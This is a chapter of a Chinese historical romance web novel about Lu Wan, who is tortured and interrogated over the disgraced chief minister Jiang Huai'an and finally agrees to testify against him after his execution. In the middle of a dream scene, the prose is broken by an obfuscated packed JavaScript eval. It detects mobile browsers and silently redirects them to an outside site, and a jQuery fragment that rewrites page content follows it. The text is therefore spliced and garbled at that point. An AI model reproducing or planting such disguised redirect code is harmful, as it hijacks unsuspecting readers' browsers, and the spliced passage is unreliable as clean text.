“你究竟什么时候才肯开口?”
时年正是寒冬,风雪连天。
裴度兴许是刚刚从外归来,面容有些苍白,狐狸色的氅衣上也沾了些细雪。一旁的狱卒见状,忙细心地递给他一个暖炉,而后从衣袖里掏出一把钥匙,将牢门打开。
裴度缓步入内,抬眼便看见了被捆绑在刑架上的那个女子。女子如瀑的青丝凌乱地披散在肩头,整张脸上满是青紫交加的伤痕,嘴角还残余着些许血渍。显然是方才被用过刑。
裴度凝着她那双被锁在镣铐里的手。她的手受过拶刑,又因一直没有医治,伤口便感染了,手背上尽是脓流和冻疮。裴度的面上浮现出几分不忍,顿时收回了目光。他的眼神飘向别处,语气里半是冷淡,半是无奈:“阿晚,你就招供了吧。”
“朝廷向来不为难女子,你若是交代出江淮安贪污军饷的始末,陛下会留你一条命的。”
刑架上的女子闻言,嘴角轻轻扯了扯,眼里闪过几丝嘲讽,却仍是未置一词。
已经有半个来月了。刑部大牢虽不似诏狱般狠厉残酷,毫无人性。但到底也是轮着运用了许多刑罚,譬如笞刑、杖刑、拶刑……
阴冷潮湿的大牢里,酷刑加身,女子也会吃痛惨叫,也会歇斯底里,然而无论怎么威逼,她始终是顾左右而言他,镇静地与刑部的官员们斡旋,不曾吐露与那人有关的半分字句。
或许是她眼底的嘲弄与面上的平静刺痛了这位年轻的刑部侍郎。裴度有些恼怒地逼近她,陡然提高了音调:“你以为你不交代,我们就无法判他的罪吗?诬陷亲蕃、打压言官、私丈田亩、罔顾礼教……这里面的哪一桩不是杀头的大罪?”
“他江淮安已是罪同丘山,万死难辞其咎!即便你不肯说,明日午时他照旧要被判处凌迟之刑!”
“阿晚,如今新君登基,你父亲也即将被平冤昭雪。你若不再袒护那个罪臣,自可以继续……”
……
牢狱里的寒气最是湿重。陆晚此时只觉心头发冷,耳里也是一阵轰鸣。裴度余下来还说了些什么她已经听不清了,耳中只有无边无际的“凌迟”二字。她忽然觉得身体一阵发软,不禁两眼一黑,昏倒了过去。
“阿晚——”
裴度见她倏尔昏迷,忙急着呵斥身旁的狱卒:“快去请狱医为她瞧瞧。”
裴度从刑部往返归至裴府时,正远远地瞧见在庭院里候着的宋惜颜。
宋惜颜是礼部尚书宋却山的嫡女,也是裴度的夫人。
见郎君归家,宋惜颜忙起身前去相迎。她贴心地为裴度理了理衣襟上的细雪,温声道:“郎君快随妾入里间,换过一身衣服罢,切莫着了凉。”
里间内的炉火烧得正旺,暖烟轻飘。
宋惜颜静静地为裴度解下身上的氅衣,状似无意地问道:“阿晚还是不肯招供吗?”
“嗯,”裴度应了一声,而后叹了一口气:“她还是像从前那般执着,无论怎么劝,就是不肯开口。”
宋惜颜闻言,为裴度解玉带的手微微顿住。她垂着眼眸,刻意放低了声音:“妾愚拙,有些不明白。”
若在往日,裴度是并不愿同她交谈这些朝政之事的。然而今日,许是裴度因着陆晚的事情有些烦忧,又或许是宋惜颜现下太过柔顺沉静。裴度竟顺着她的话问了下去:“不明白什么?”
“陛下既已定了江淮安的罪,也判了他的死刑。为何非要证实他贪污军饷这一罪状呢?”
裴度微怔。他作为刑部侍郎,年少时与那人也有些故友之谊。他又何尝不明白贪污军饷不过是个幌子,实际上是有人想要让一个替死鬼来为他们顶罪。
自新帝登基后,前任首辅江淮安的光景便每况愈下。主持了三年的建宁新政被废止,权势也尽被收回。树倒猢狲散。曾经深受江淮安掣肘的贵族们、言官们都开始对他群起攻讦,一桩桩罗列他的罪项。
朝廷正在跟东南的倭寇打仗,正是急须用钱的时候。可拨给战士的军饷只支撑了几天,便没有了。新君刚刚即位,正是需要立威望的时候。得知此事后,新君勃然大怒,下令刑部彻查此案。
拨发军饷的那道折子是先帝在位时呈上的,经过了内阁首辅江淮安的票拟。有心人便利用此称说江淮安“贪污军饷”。
新君急于展示自己的手段与声望,便命刑部搜查出贪污的那部分军饷的去向。
刑部的人在江淮安的府邸里搜差了整整一日,只搜出了一袋零星几点的碎银。谁都没有想过,这位曾经的权臣,大齐的首辅,全部的家当竟只是一袋碎银。
裴度何尝不知道这是欲加之罪。但毕竟是天子之令,他也无可奈何。江淮安双亲已逝,妻子也早已过世,没有子嗣,朋友更是稀薄。
裴度只好找到陆晚——曾经的陆家姑娘,如今的首辅外室。
让陆晚来指认这桩罪状,裴度是有私心的。他明白新君未必是想要找回余下的军饷,不过是想走个流程,用一份完整的证据来树立自己的威望。
本朝刑律规定,待罪之人若敢于揭举幕后指使之人,可从轻处置。江淮安被判凌迟,陆晚作为他的外室,自然免不了一死。若能揭举他的罪名,兴许可免死罪。
然而,裴度终究是未料到,她对他竟情深至此……
“郎君?”
宋惜颜见裴度迟迟未应答,不禁抬眸看向他。
她宋惜颜的郎君,相貌自然是顶好的,姿容如玉,皎若明月。她倾心于他的孤傲与才学,却又时常为他的冷淡所伤怀。
譬若现下,他立在她的身前,面色依旧冷淡如霜,目光飘于别处,一分眼神都没有分给她。
“这是朝中之事,你无需知晓过多。”
裴度回过神来,并没有对宋惜颜细道其中缘由,只简短回了几个字。
陆晚醒来,已经是次日的午时了。她做了一场很长的梦。
梦境错综复杂,场景时不时地转换。一时是在贡院外的朱墙前,她满怀希冀地在贴于墙上的榜单中寻找他的名字;一时是在松山书院的明堂里,她身着男装,强作镇定地抬头看他,却恰好撞入他温润澄净的眸子里;一时是在教坊司昏暗的厢房里,她风情万种地依偎在豫王的怀里,听着他在房外受鞭笞之刑……
梦里的最后一个场景是在京郊南角的那处私宅外,他温柔地为她系上披风,目送她走上马车。
她却迟迟没有抬步,只是死死拽住他右袖的衣角,问:“我们还能胜天半子吗?”
他笑了笑,轻轻地从她手中抽出自己的袖袍,语气依旧温和如春水:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362438|183750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我不知道。”
“我走了,那你呢?”
她不死心地问道。
“我既以身入局,便要把这盘棋下完。”
他转过身子,隐没在了黑暗之中。
不要——
陆晚想喊住他,却怎么也张不开口。
“陆姑娘,醒醒。”
陆晚自梦中醒来,额心上尽是些虚汗。她睁眼见正躺在牢狱禁房里的床上,面前站着的是往常为她更换囚衣的女狱卒。
因为陆晚常常受刑,囚衣总是染满鲜血。她经受酷刑,自是没有力气更换衣服。于是裴度便派了名女狱卒来为她清洗身子,穿换衣服。
女狱卒叫春蝉,是一位差役的女儿。
“陆姑娘,喝口水吧。”
陆晚刚醒,嘴唇也有些干裂。她正要就着春蝉递过来的杯盏喝下一口热水,却忽觉心头如刀绞般疼痛难受。
这种疼痛不同于平日里受刑她所感受到的疼痛。她无法言说这种痛苦,只觉浑身发冷,身体忍不住颤抖。她几乎无法呼吸,只是环住自己的双膝,咬牙忍受着。
“陆姑娘,你怎么了,可是身体不适?”
春蝉见状,忙放下手中的杯盏,起身轻轻用手安抚陆晚的脊背,似在宽慰她:“陆姑娘,你且再忍着些时日。新君即位,几天后便将举行封后大典,到时自会大赦天下。”
陆晚并不在乎这些。她仍然心痛难忍,甚至莫名地感到一阵恐慌。似是蓦地想起了什么,陆晚猛然拽住春蝉的手腕,看着春蝉的眼睛道:“现在是不是已经午时了?”
春蝉垂下眼睫,几不可闻地点了点头。
陆晚心底一阵钝痛。她根本不敢想象那人的现状。
凌迟之刑,千刀万剐。
手上的刑伤还未痊愈,陆晚却丝毫不顾疼痛,她紧紧攥着面前人的手,近乎哀求般地开口道:“你有钥匙,对吗?”
春蝉别开了眼睛,平静道:“陆姑娘,没有恩准,我是不会私自放你出去的。”
“为什么,我只是想去见见他……”
我只是想去见见他呀。
陆晚此刻只觉满心作痛,声音再也压不住,泪水一瞬间决堤。很多种情绪笼罩了她。恐惧,绝望,痛苦,后悔……
整整一个下午,她一直枯坐在禁房里。起先是不停流泪。泪水干涸后,她便是静静地坐着,不说话,也不理会身旁春蝉的劝慰,连狱卒送来的饭食也是一口未动。
裴度再见到陆晚,已经是晚上了。
他方从西市监刑回来,便听春蝉说她整日枯坐,不进饭食,连忙赶到了禁房。
“阿晚”
裴度看着她削瘦的面容,心下一时有些愧疚。本不指望她能应答,却见她平静与自己相视,缓慢开口道:“裴大人,我愿意供认。”
“你说什么?”
裴度一时不敢相信自己的耳朵,启口时声线都暗哑了些许。
“我愿意指认江淮安挪用军饷。”
裴度僵在了原地。他一动不动地望着面前的女子,似是想在她眼里瞧出些什么。
可终究是无果。那双漆黑的眸子里什么都没有,竟连悲伤都未能剩下,只余平静。
这样的平静让他不由得想起了另外一个人。